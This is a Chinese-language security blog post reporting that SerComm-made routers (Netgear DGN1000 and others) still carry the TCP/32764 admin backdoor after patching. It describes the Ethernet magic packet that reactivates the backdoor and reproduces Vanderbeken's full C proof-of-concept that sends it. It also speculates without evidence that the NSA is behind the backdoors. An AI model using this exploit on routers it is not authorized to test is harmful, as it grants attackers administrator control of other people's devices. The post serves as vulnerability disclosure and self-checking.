32764端口后门重出江湖,影响多款路由器

  • A+
所属分类:网络安全

32764端口后门重出江湖,影响多款路由器

在年初的时候已经发布关于秘密后门——“TCP 32764”的报道,利用该后门漏洞,未授权的攻击者可以通过该端口访问设备,以管理员权限在受影响设备上执行设置内置操作系统指令,进而取得设备的控制权。许多我们耳熟能详的路由器纷纷“躺枪”,诸如LinksysNetgearCiscoDiamond

该后门发现者是一位来自法国的逆向工程师,叫Eloi Vanderbeken。他表明在最新的固件版本升级中已经修补了这一漏洞,但是这不妨碍SerComm以其他方式再次添加了相同的后门。

为了验证研究所谓的最新发布的补丁,Vanderbeken下载了Netgear DGN100的固件补丁1.1.0.55版本,并通过binwalk这一后门分析工具对其进行了分析。然后他发现之前后门包含的scfgmgr文件依然存在,只是限制本地进程间的通信(Unix domain socket)和同一个设备上的进程。

之后通过逆向工程对二进制文件进一步调查分析,他发现了另一款叫做“ft_tool”的神秘工具,通过它可以重新激活TCP后门。

在他的报告中解释,“ft_tool”实际打开一个原始套接字,通过侦听传入的数据包,从而使本地网络可以发送下列特别的数据包激活tcp端口32764

以太类型参数应等于'0 x8888'。有效载荷应该包含DGN1000的MD5值(45d1bb339b07a6618b2114dbc0d7783e)。该数据包类型应该是0x201。

报告文件:32764端口后门重出江湖,影响多款路由器router-manufacturers-secretly-added-tcp.rar

所以如果你使用的是SerComm路由器,尽管你已经更新了最新版本,很不幸的是攻击者仍然可以通过shell命令重新激活TCP 32764后门。

当然你或学会问,为啥子这些路由器制造厂商会如此“恬不知耻”地一而再再而三的添加内置后门呢。这期间曲折或许是因为隐藏在这些厂商后面的那只“无形”的手——NSA.

 

就目前而言还没有发现针对此类后门的最新补丁,如果你想检查自己的路由器是否躺枪,可以从这里参考一下程序源码:

 /***************************************

* PoC to reactivate Sercomm TCP/32674 backdoor* See http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf* Eloi Vanderbeken - Synacktiv* * THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE* DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.* * PoC based on Wilmer van der Gaast's code * http://wiki.openwrt.org/_media/toh/netgear/dg834.g.v4/nftp.c***************************************/#include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ETH_P_NFTP		0x8888enum backdoor_command {    PING_BACKDOOR = 0x200,    SCFGMGR_LAUNCH,    SET_IP};struct ether_header{    unsigned char ether_dhost[ETH_ALEN];    unsigned char ether_shost[ETH_ALEN];    unsigned short ether_type;} eth;struct raw_packet {
	struct ether_header header;
	uint16_t            type;
	uint16_t            sequence;
	uint16_t            offset;
	uint16_t            chunk;
	uint16_t            payload_len;
	uint8_t             payload[528];};int main(int argc, char *argv[]){
	int sockfd, res, i, len;
	char src_mac[ETH_ALEN];
	struct ifreq iface;
	struct sockaddr_ll socket_address;    struct raw_packet packet;    memset(&packet, 0, sizeof(packet));

	if (argc < 2)
	{
		fprintf(stderr, "usage : %s [IFNAME]\n", argv[0]);
		exit(1);
	}

	sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (sockfd == -1) 	{
		if(geteuid() != 0) 		{
			fprintf(stderr, "You should probably run this program as root.\n");
		}
		perror("socket");
		exit(1);
	}    seteuid(getuid());

	strncpy(iface.ifr_name, argv[1], IFNAMSIZ);
	res = ioctl(sockfd, SIOCGIFHWADDR, &iface);
	if(res < 0)
	{
		perror("ioctl");
		exit(1);
	}
	memcpy(src_mac, iface.ifr_hwaddr.sa_data, ETH_ALEN);


	res = ioctl(sockfd, SIOCGIFINDEX, &iface);
	if(res < 0)    {
		perror("ioctl");
		exit(1);
	}    // set src mac    memcpy(packet.header.ether_shost, src_mac, ETH_ALEN);    // broadcast    memset(packet.header.ether_dhost, 0xFF, ETH_ALEN);    // MD5("DGN1000")    memcpy(packet.payload, "\x45\xD1\xBB\x33\x9B\x07\xA6\x61\x8B\x21\x14\xDB\xC0\xD7\x78\x3E", 0x10);    packet.payload_len = htole16(0x10);    // ethernet packet type = 0x8888    packet.header.ether_type = htons(ETH_P_NFTP);    // launch TCP/32764 backdoor    packet.type = htole16(SCFGMGR_LAUNCH);    socket_address.sll_family   = PF_PACKET;    socket_address.sll_protocol = htons(ETH_P_NFTP);    socket_address.sll_ifindex  = iface.ifr_ifindex;    socket_address.sll_hatype   = ARPHRD_ETHER;    socket_address.sll_pkttype  = PACKET_OTHERHOST;    // broadcast    socket_address.sll_halen = ETH_ALEN;    memset(socket_address.sll_addr, 0xFF, ETH_ALEN);    res = sendto(sockfd, &packet, 0x10 + 24, 0, (struct sockaddr *)&socket_address, sizeof(socket_address));    if (res == -1)    {        perror("sendto");        exit(1);    }    do {        memset(&packet, 0, sizeof(packet));        res = recvfrom(sockfd, &packet, sizeof(packet), 0, NULL, NULL);        if (res == -1) 
        {            perror("recvfrom");            exit(1);        }    } while (ntohs(packet.header.ether_type) != ETH_P_NFTP);    if (res < sizeof(packet) - sizeof(packet.payload))    {        fprintf(stderr, "packet is too short: %d bytes\n", res);        exit(1);    }    len = be16toh(packet.payload_len); // SerComm has a real problem with endianness    printf("received packet: %d bytes (payload len = %d) from ", res, len);    for (i = 0; i < ETH_ALEN; i++)        printf("%02X%c", packet.header.ether_shost[i], i == ETH_ALEN-1 ? &#039;\n&#039; : &#039;:&#039;);    for (i = 0; (i < len) && (i < sizeof(packet.payload)); i++)    {        printf("%02X ", packet.payload[i]);        if ((i+1) % 16 == 0)            printf("\n");    }    printf("\n");
	return 0;}

或者按照下面步骤进行检查:

1.使用“binwalk -e”提取系统文件2.检索“ft_tool”或scfgmgr文件3.通过IDA反汇编进行确认

[

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: